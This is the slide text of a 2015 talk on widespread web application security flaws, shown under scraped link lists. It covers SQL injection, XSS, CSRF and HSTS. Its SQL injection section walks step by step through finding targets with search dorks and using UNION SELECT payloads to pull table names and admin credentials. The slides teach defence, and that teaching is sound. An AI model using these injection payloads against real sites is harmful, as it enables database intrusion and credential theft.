A Study of Variable-Role-based Feature Enrichment in Neural Models of Code
A Study of Variable-Role-based Feature Enrichment in Neural Models of CodeA Study of Variable-Role-based Feature Enrichment in Neural Models of Code
A Study of Variable-Role-based Feature Enrichment in Neural Models of Code
Aftab Hussain
 
Empowering Growth with Best Software Development Company in Noida - Deuglo
Empowering Growth with Best Software  Development Company in Noida - DeugloEmpowering Growth with Best Software  Development Company in Noida - Deuglo
Empowering Growth with Best Software Development Company in Noida - Deuglo
Deuglo Infosystem Pvt Ltd
 
UI5con 2024 - Bring Your Own Design System
UI5con 2024 - Bring Your Own Design SystemUI5con 2024 - Bring Your Own Design System
UI5con 2024 - Bring Your Own Design System
Peter Muessig
 
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Crescat
 
Energy consumption of Database Management - Florina Jonuzi
Energy consumption of Database Management - Florina JonuziEnergy consumption of Database Management - Florina Jonuzi
Energy consumption of Database Management - Florina Jonuzi
Green Software Development
 

Recently uploaded (20)

2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf2024 eCommerceDays Toulouse - Sylius 2.0.pdf
2024 eCommerceDays Toulouse - Sylius 2.0.pdf
 
Unveiling the Advantages of Agile Software Development.pdf
Unveiling the Advantages of Agile Software Development.pdfUnveiling the Advantages of Agile Software Development.pdf
Unveiling the Advantages of Agile Software Development.pdf
 
openEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain SecurityopenEuler Case Study - The Journey to Supply Chain Security
openEuler Case Study - The Journey to Supply Chain Security
 
Oracle Database 19c New Features for DBAs and Developers.pptx
Oracle Database 19c New Features for DBAs and Developers.pptxOracle Database 19c New Features for DBAs and Developers.pptx
Oracle Database 19c New Features for DBAs and Developers.pptx
 
Atelier - Innover avec l’IA Générative et les graphes de connaissances
Atelier - Innover avec l’IA Générative et les graphes de connaissancesAtelier - Innover avec l’IA Générative et les graphes de connaissances
Atelier - Innover avec l’IA Générative et les graphes de connaissances
 
Graspan: A Big Data System for Big Code Analysis
Graspan: A Big Data System for Big Code AnalysisGraspan: A Big Data System for Big Code Analysis
Graspan: A Big Data System for Big Code Analysis
 
Lecture 2 - software testing SE 412.pptx
Lecture 2 - software testing SE 412.pptxLecture 2 - software testing SE 412.pptx
Lecture 2 - software testing SE 412.pptx
 
Vitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdfVitthal Shirke Java Microservices Resume.pdf
Vitthal Shirke Java Microservices Resume.pdf
 
E-commerce Development Services- Hornet Dynamics
E-commerce Development Services- Hornet DynamicsE-commerce Development Services- Hornet Dynamics
E-commerce Development Services- Hornet Dynamics
 
Odoo ERP Vs. Traditional ERP Systems – A Comparative Analysis
Odoo ERP Vs. Traditional ERP Systems – A Comparative AnalysisOdoo ERP Vs. Traditional ERP Systems – A Comparative Analysis
Odoo ERP Vs. Traditional ERP Systems – A Comparative Analysis
 
Measures in SQL (SIGMOD 2024, Santiago, Chile)
Measures in SQL (SIGMOD 2024, Santiago, Chile)Measures in SQL (SIGMOD 2024, Santiago, Chile)
Measures in SQL (SIGMOD 2024, Santiago, Chile)
 
Using Xen Hypervisor for Functional Safety
Using Xen Hypervisor for Functional SafetyUsing Xen Hypervisor for Functional Safety
Using Xen Hypervisor for Functional Safety
 
Mobile App Development Company In Noida | Drona Infotech
Mobile App Development Company In Noida | Drona InfotechMobile App Development Company In Noida | Drona Infotech
Mobile App Development Company In Noida | Drona Infotech
 
Artificia Intellicence and XPath Extension Functions
Artificia Intellicence and XPath Extension FunctionsArtificia Intellicence and XPath Extension Functions
Artificia Intellicence and XPath Extension Functions
 
ALGIT - Assembly Line for Green IT - Numbers, Data, Facts
ALGIT - Assembly Line for Green IT - Numbers, Data, FactsALGIT - Assembly Line for Green IT - Numbers, Data, Facts
ALGIT - Assembly Line for Green IT - Numbers, Data, Facts
 
A Study of Variable-Role-based Feature Enrichment in Neural Models of Code
A Study of Variable-Role-based Feature Enrichment in Neural Models of CodeA Study of Variable-Role-based Feature Enrichment in Neural Models of Code
A Study of Variable-Role-based Feature Enrichment in Neural Models of Code
 
Empowering Growth with Best Software Development Company in Noida - Deuglo
Empowering Growth with Best Software  Development Company in Noida - DeugloEmpowering Growth with Best Software  Development Company in Noida - Deuglo
Empowering Growth with Best Software Development Company in Noida - Deuglo
 
UI5con 2024 - Bring Your Own Design System
UI5con 2024 - Bring Your Own Design SystemUI5con 2024 - Bring Your Own Design System
UI5con 2024 - Bring Your Own Design System
 
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
Introducing Crescat - Event Management Software for Venues, Festivals and Eve...
 
Energy consumption of Database Management - Florina Jonuzi
Energy consumption of Database Management - Florina JonuziEnergy consumption of Database Management - Florina Jonuzi
Energy consumption of Database Management - Florina Jonuzi
 

Widespread security flaws in web application development 2015

  • 1. Widespread security flaws in web application development Martin Ahchiev Content is available under a Creative Commons 3.0 License unless otherwise noted.
  • 2. 2Widespread security flaws in web application development FOCUS ON COMMON SECURITY CHALLENGES YOU ALREADY NEED TO KNOW WEB PROGRAMMING
  • 3. 3Widespread security flaws in web application development FACT: THE VAST MAJORITY OF WEB APPLICATION HAVE SECURITY VULNERABILITIES! MOST DEVELOPERS NOT AWARE OF THE ISSUES
  • 4. 4Widespread security flaws in web application development
  • 5. 5Widespread security flaws in web application development Attacker can access unauthorized data! They use your website to attack your users We will cover many attacks later in this demo Most Sites Not Secure
  • 6. 6Widespread security flaws in web application development  The WEB wasn’t designed to be secure!  Built for static, read-only pages  Almost no intrinsic security  A few security features were “bolted on” later  Security and defensive development style HTTP History
  • 7. 7Widespread security flaws in web application development DATABASE BROWSER FIREWALL WEB SERVER WEB SERVICE ACCESS CONTROLAUTH SERVICE XSS CSRF PACKET SNIFFING FORGED TOKEN DIRECT OBJECT REFERENCE SQL INJECTION DIRECTORY TRAVERSAL XML INJECTION
  • 8. 8Widespread security flaws in web application development OWASP - The Ten Most Critical Web Application Security Risks SANS Institute - CWE/SANS TOP 25 Most Dangerous Software Errors Organizations that contributed vulnerability statistics  Aspect Security  MITRE  Softtek  White Hat Ranking of Web Security Vulnerabilities
  • 9. 9 In next 10 minutes… Widespread security flaws in web application development SQL Injection Explained Hands-On Example The Basic Fixes More Resources
  • 10. 10 OWASP Top 10 - 2013 Widespread security flaws in web application development INJECTION ATTACKS ARE A SERIOUS PROBLEM “SQL Injection is an old problem – so I don’t have to worry about it “
  • 11. 11 OWASP Top 10 - 2013 Widespread security flaws in web application development
  • 12. 12 Typical Scenario Widespread security flaws in web application development Our Users Will Enter Their Name Here Bob
  • 13. 13 Typical Scenario Widespread security flaws in web application development Bob WEB SERVER DATABASE private void queryDB(String u_name) { string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”; doQuery(sql); } In Application Code Bob Bob
  • 14. 14 Typical Scenario Widespread security flaws in web application development DATABASE SELECT * FROM users WHERE name = ‘Bob’ JUST RETURNS ROWS FOR Bob
  • 15. 15 Typical Scenario Widespread security flaws in web application development THE APPLICATION SEEMS TO WORK BUT IT’S NOT SECURE
  • 16. 16 SQL Injection Attack Widespread security flaws in web application development Our Users Will Enter Their Name Here Bob’ or ‘1’=‘1’
  • 17. 17 SQL Injection Attack Widespread security flaws in web application development ob’ or ‘1’=‘1’ WEB SERVER DATABASE private void queryDB(String u_name) { string sql = “SELECT * FROM users WHERE name = ‘ ” + u_name + “ ‘ ”; doQuery(sql); } In Application Code Bob’ or ‘1’=‘1’ Bob’ or ‘1’=‘1’
  • 18. 18 SQL Injection Attack Widespread security flaws in web application development DATABASE SELECT * FROM users WHERE name = ‘Bob’ or ‘1’=‘1’ JUST RETURNS ROWS FOR Bob OR WHENEVER ONE EQUALS ONE (ALL ROWS)
  • 19. 19 Hands-On Example: Step 1 Widespread security flaws in web application development HOW ATTACKERS SEARCH FOR TARGETS  DORKS  EXAMPLES: 1. "details.php?id=xxx" 2. "gallery.php?id=" 3. inurl:"products.php?prodID="
  • 20. 20 Hands-On Example: Step 2 Widespread security flaws in web application development HOW ATTAKERS TEST TARGETS FOR VULNERABILITIES http://www.localhost:999/newsdetails.aspx?id=51
  • 21. 21 Hands-On Example: Step 3 Widespread security flaws in web application development HOW ATTACKERS TEST TARGETS FOR VULNERABILITIES Let’s add an single quote “ ‘ ”at the end of the URL http://www.localhost:999/newsdetails.aspx?id=51‘ SQL Code: SELECT * FROM NEWS WHERE id = 5 '
  • 22. 22 Hands-On Example: Step 4 Widespread security flaws in web application development Finding the number of columns  NoError/Error statements  "order by X--" where "X" is a random integer number  EXAMPLE: http://www.localhost:999/newsdetail.php?id=51 order by 12--
  • 23. 23 Hands-On Example: Step 4 Widespread security flaws in web application development How about we go down a bit to "order by 5--" http://www.localhost:999/newsdetail.php?id=51 order by 5-- http://www.localhost:999/newsdetail.php?id=51 order by 4--
  • 24. 24 Hands-On Example: Step 5 Widespread security flaws in web application development How attackers find Vulnerable Columns  UNION SELECT command  EXAMPLE: SELECT * FROM users UNION SELECT * FROM admin http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3
  • 25. 25 Hands-On Example: Step 5 Widespread security flaws in web application development How attackers find Vulnerable Columns  INVALIDATE THE FIRST QUERY  EXAMPLES: http://www.localhost:999/newsdetail.php?id=51+union+select+1,2,3 1. http://www.localhost:999/newsdetail.php?id=51+and+0+union+select+1,2,3 2. http://www.localhost:999/newsdetail.php?id=51+and+false+union+select+ 1,2,3 3. http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3 4. http://www.localhost:999/newsdetail.php?id=null+union+select+1,2,3 5. http://www.localhost:999/newsdetail.php?id=51+&&+0+union+select+1,2,3
  • 26. 26 Hands-On Example: Step 5 Widespread security flaws in web application development How attackers find Vulnerable Columns EXAMPLES: http://www.localhost:999/newsdetail.php?id=-51+union+select+1,2,3
  • 27. 27 Hands-On Example: Step 6 Widespread security flaws in web application development Obtaining the SQL Version  @@version http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,@@version,3  convert(@@version using latin1) http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,convert(@@version using latin1),3  unhex(hex(@@version)) http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,unhex(hex(@@version)),3
  • 28. 28 Hands-On Example: Step 6 Widespread security flaws in web application development Obtaining the SQL Version database() - find the current database user() - find the user information @@hostname - current hosting info @@datadir - directory of the data of the website
  • 29. 29 Hands-On Example: Step 7 Widespread security flaws in web application development Obtaining the Table Names  information_schema.tables http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,table_name,3+from+information_schema.tab  group_concat() http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,group_concat(table_name),3 from information_schema.tables
  • 30. 30 Hands-On Example: Step 8 Widespread security flaws in web application development Obtaining the Column Names form Table Names  informaiton_schema.columns instead of informtion_schema.tables  column_name instead of table_name  +from+information_schema.columns where table_name=TableNameHEX - tblAdmin http://www.localhost:999/newsdetail.php?id=- 51+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x74626c61646d696e--
  • 31. 31 Hands-On Example: Step 9 Widespread security flaws in web application development Getting Data from Columns  concat() function  Separator = 0x3a (a hex for a colon " : ")  table name = tbladmin  http://www.md5decrypter.co.uk http://www.localhost:999/newsdetail.php?id=-51 +union+select+1,concat(username,0x3a,password),3+from+tblAd min
  • 32. 32 SQL Injection Widespread security flaws in web application development  SQL INJECTION = HUGE RISK  CAN COMPROMISE ALL YOUR DATA  SINGLE INJECTION FLAW CAN LEAD TO COMPLETE SERVER TAKEOVER!
  • 33. 33 Defense Against SQL Injection Widespread security flaws in web application development HOW CAN WE DEFEND OURSELVES?  Prepared Statements  Stored Procedures  Escaping All User Supplied Input  Least Privilege  White List Input Validation
  • 34. 34 Parameterized Queries Widespread security flaws in web application development Prepared Statements String custname = request.getParameter("customerName"); // This should REALLY be validated String query = "SELECT account_balance FROM user_data WHERE user_name = ? "; PreparedStatement pstmt = connection.prepareStatement( query ); pstmt.setString( 1, custname); ResultSet results = pstmt.executeQuery( ); Data from user
  • 35. 35 Parameterized Queries Widespread security flaws in web application development Stored Procedures String custname = request.getParameter("customerName"); // This should REALLY be validated try { CallableStatement cs = connection.prepareCall("{call sp_getAccountBalance(?)}"); cs.setString(1, custname); ResultSet results = cs.executeQuery(); // … result set handling } catch (SQLException se) { // … logging and error handling }
  • 36. 36 SQL Injection Prevention Widespread security flaws in web application development  Least Privilege - Always minimize database privileges to reduce the impact of a flaw  White List Input Validation "(555)123-1234", "555.123.1234", and "555";DROP TABLE USER;--123.1234“ all convert to 5551231234
  • 37. 37 SQL Injection Prevention Widespread security flaws in web application development NOW YOU KNOW THE BASICS BUT YOU NEED TO KNOW MOREPrepared Statements Stored Procedure Escaping
  • 38. 38 Cross - Site Scripting (XSS) Widespread security flaws in web application development XSS Explained Three Examples of XSS The Basic Fixes More Resources
  • 39. 39 OWASP Top 10 - 2013 Widespread security flaws in web application development
  • 40. 40 EXAMPLE #1 Widespread security flaws in web application development TARGET OF XSS A BRIEF COMPARISON OF SQL INJECTION AND XSS THE TARGET OF SQL INJECTION IS THE DATABASE SERVER THE TARGET OF XSS ARE OTHER USERS
  • 41. 41Widespread security flaws in web application development GOAL: DISTRIBUTES MALICIOUS SCRIPTS XSS DEFINED: XSS IS SCRIPT INJECTION
  • 42. 42Widespread security flaws in web application development Attacker VideoTutorialsSite Cross-Site Scripting
  • 43. 43Widespread security flaws in web application development VideoTutorialsSite
  • 44. 44 EXAMPLE #2 Widespread security flaws in web application development VideoTutorialsSite Description BROWSER XSS IN MORE DETAIL…
  • 45. 45 EXAMPLE #2 Widespread security flaws in web application development XSS IN MORE DETAIL… <HTML> <BODY> <H1>Upload Video</H1> <H2>Description</H2> </BODY> </HTML> Static Content User Supplied Content Video Training Description
  • 46. 46Widespread security flaws in web application development VideoTutorialsSite
  • 47. 47 EXAMPLE #2 Widespread security flaws in web application development Static Content User Supplied Content Video Training Description
  • 48. 48 Normal Execution Flow Widespread security flaws in web application development THE APPLICATION SEEMS TO WORK BUT IT’S NOT SECURE
  • 49. 49 EXAMPLE #2 Widespread security flaws in web application development VideoTutorialsSite Video Training Description <script>/*Evil code*/</script>
  • 50. 50 EXAMPLE #2 Widespread security flaws in web application development XSS IN MORE DETAIL… <HTML> <BODY> <H1>Upload Video</H1> <H2>Description</H2> </BODY> </HTML> Static Content User Supplied Content Video Training Description <script>/*Evil code*/</script>
  • 51. 51Widespread security flaws in web application development VideoTutorialsSite EXAMPLE #2
  • 52. 52 EXAMPLE #2 Widespread security flaws in web application development Video Training Description <script>/*Evil code*/</script> Attackers Can Use JavaScript to ….  Steal your session ID  Rewrite any part of the HTML page  Overlay the Login Screen with their own, to steal the username and password
  • 53. 53Widespread security flaws in web application development CAN WE BLOCK THE <script> TAG AND BE SAFE? NO
  • 54. 54Widespread security flaws in web application development EXAMPLE #3 XSS without <script> tag
  • 55. 55 EXAMPLE #3 Widespread security flaws in web application development RESULTING CODE SNIPPET Enter your name: <input type=“text” id=“uname” value=“” /> GUEST BOOK Alice “Alice”
  • 56. 56Widespread security flaws in web application development NOW CONSIDER THIS INPUT Alice” onmouseover=“/*evil_action*/ EXAMPLE #3
  • 57. 57 EXAMPLE #3 Widespread security flaws in web application development RESULTING CODE SNIPPET Enter your name: <input type=“text” id=“uname” value=“” /> GUEST BOOK Alice” onmouseover=“/*evil*/ “Alice” onmouseover=“/*evil*/“
  • 58. 58Widespread security flaws in web application development HOW DO WE STOP XSS?
  • 59. 59 XSS Fixes Widespread security flaws in web application development  Developers fails to properly validate and encode the input data  XSS can only be prevented by secure coding practices  Encoding must be contextual!
  • 60. 60 XSS Fixes Widespread security flaws in web application development  PARTIAL LISTING OF CONTEXTS  EACH CONTEXT MUST BE ENCODED DIFFERENTLY <HTML> <HEAD> </HEAD> </HTML> <STYLE> Property: … </STYLE> <SCRIPT> alert(‘…’) </SCRIPT> <BODY> … </BODY> <img src=“…”/> <div attr=“…”></div>
  • 61. 61 More Resources Widespread security flaws in web application development NOW YOU KNOW THE BASICS BUT YOU NEED TO KNOW MORE 7 XSS PREVENTION RULES
  • 62. 62 More Resources Widespread security flaws in web application development Multiple Contextual Encodings
  • 63. 63 CSRF Widespread security flaws in web application development  sea surf  one-click attack  session riding Cross Site Request Forgery abbreviated as CSRF and XSRF is also known as:
  • 64. 64 OWASP Top 10 - 2013 Widespread security flaws in web application development
  • 65. 65Widespread security flaws in web application development Typical CSRF Scenario e-Banking Attacker’s website Auth Request Site loaded Malicious link Malicious Request embedded Authenticated request
  • 66. 66Widespread security flaws in web application development CSRF Attack in more detail.. e-Banking Authenticated request to transfer money online Mr. Victim HTTP POST https://mybank.com/transfer Auth-cookie: 5234d574s4 TargetAccountNumber: 53645634635785 Amount:2000.00 Attacker forges request
  • 67. 67 CSRF Prevention Widespread security flaws in web application development  Validating a secret token Include a secret token with each request and to validate that the received token is correctly bound to the user's session.  Validating the HTTP Referer header Accept requests only from trusted sources by verifying the referer header.
  • 68. 68 More resources Widespread security flaws in web application development
  • 69. 69Widespread security flaws in web application development HTTP Strict Transport Security HSTS
  • 70. 70Widespread security flaws in web application development Common attack vectors SSL downgrading SSL Stripping Use of fake of SSL certs Attacks
  • 71. 71Widespread security flaws in web application development Problem: Sensitive data transmitted in the clear… Bob **********
  • 72. 72Widespread security flaws in web application development Problem: Sensitive data transmitted in the clear…
  • 73. 73Widespread security flaws in web application development EXAMPLE #1 HTTPS Only During Login
  • 74. 74Widespread security flaws in web application development Example #1 Corporate eMail Credentials
  • 75. 75Widespread security flaws in web application development Example #1 Corporate eMail List of e-mails Session Cookie List of e-mails Session Cookie Session Hijacking
  • 76. 76Widespread security flaws in web application development Using HTTPS, the attacker could see the password But they were able to steal the session cookie and see all transmitted data Solution: Move entire site to HTTPS HTTPS ensures authenticity, and prevents spaying HTTPS There Are Still Several Risks…
  • 77. 77Widespread security flaws in web application development EXAMPLE #2 MAN-In-the-Middle
  • 78. 78Widespread security flaws in web application development Example #2 Corporate eMail Credentials http://www.corp-email.com 302 redirect https://www.corp-email.com Credentials The unsecured HTTP Request is vulnerable to attack
  • 79. 79Widespread security flaws in web application development Example #2 Corporate eMail Man-In-The-Middle Attack
  • 80. 80Widespread security flaws in web application development Example #2 SOLUTION: STRICT TRANSPORT SECURITY HTTP HEADER
  • 81. 81Widespread security flaws in web application development HSTS  The header is sent over secure connection  HSTS converts HTTP links to HTTPS in browser  Conversion happens entirely in the browser  The security flag also prevents accepting untrusted connections
  • 82. 82Widespread security flaws in web application development
  • 83. 83Widespread security flaws in web application development
  • 84. 84Widespread security flaws in web application development HSTS The HSTS is language independent Only requires to put the header in any response The HSTS flag will ONLY be honored if sent over HTTPS!
  • 85. 85Widespread security flaws in web application development Browsers
  • 86. 86 More resources Widespread security flaws in web application development
  • 87. 87Widespread security flaws in web application development This demo is only a starting point… Conclusions & Recommendations
  • 88. 88Widespread security flaws in web application development Content is available under a Creative Commons 3.0 License unless otherwise noted. martin@ahchiev.com

Editor's Notes

  1. Класации Туториали Безплатни Фреймлъркова за разработка на сигурни приложения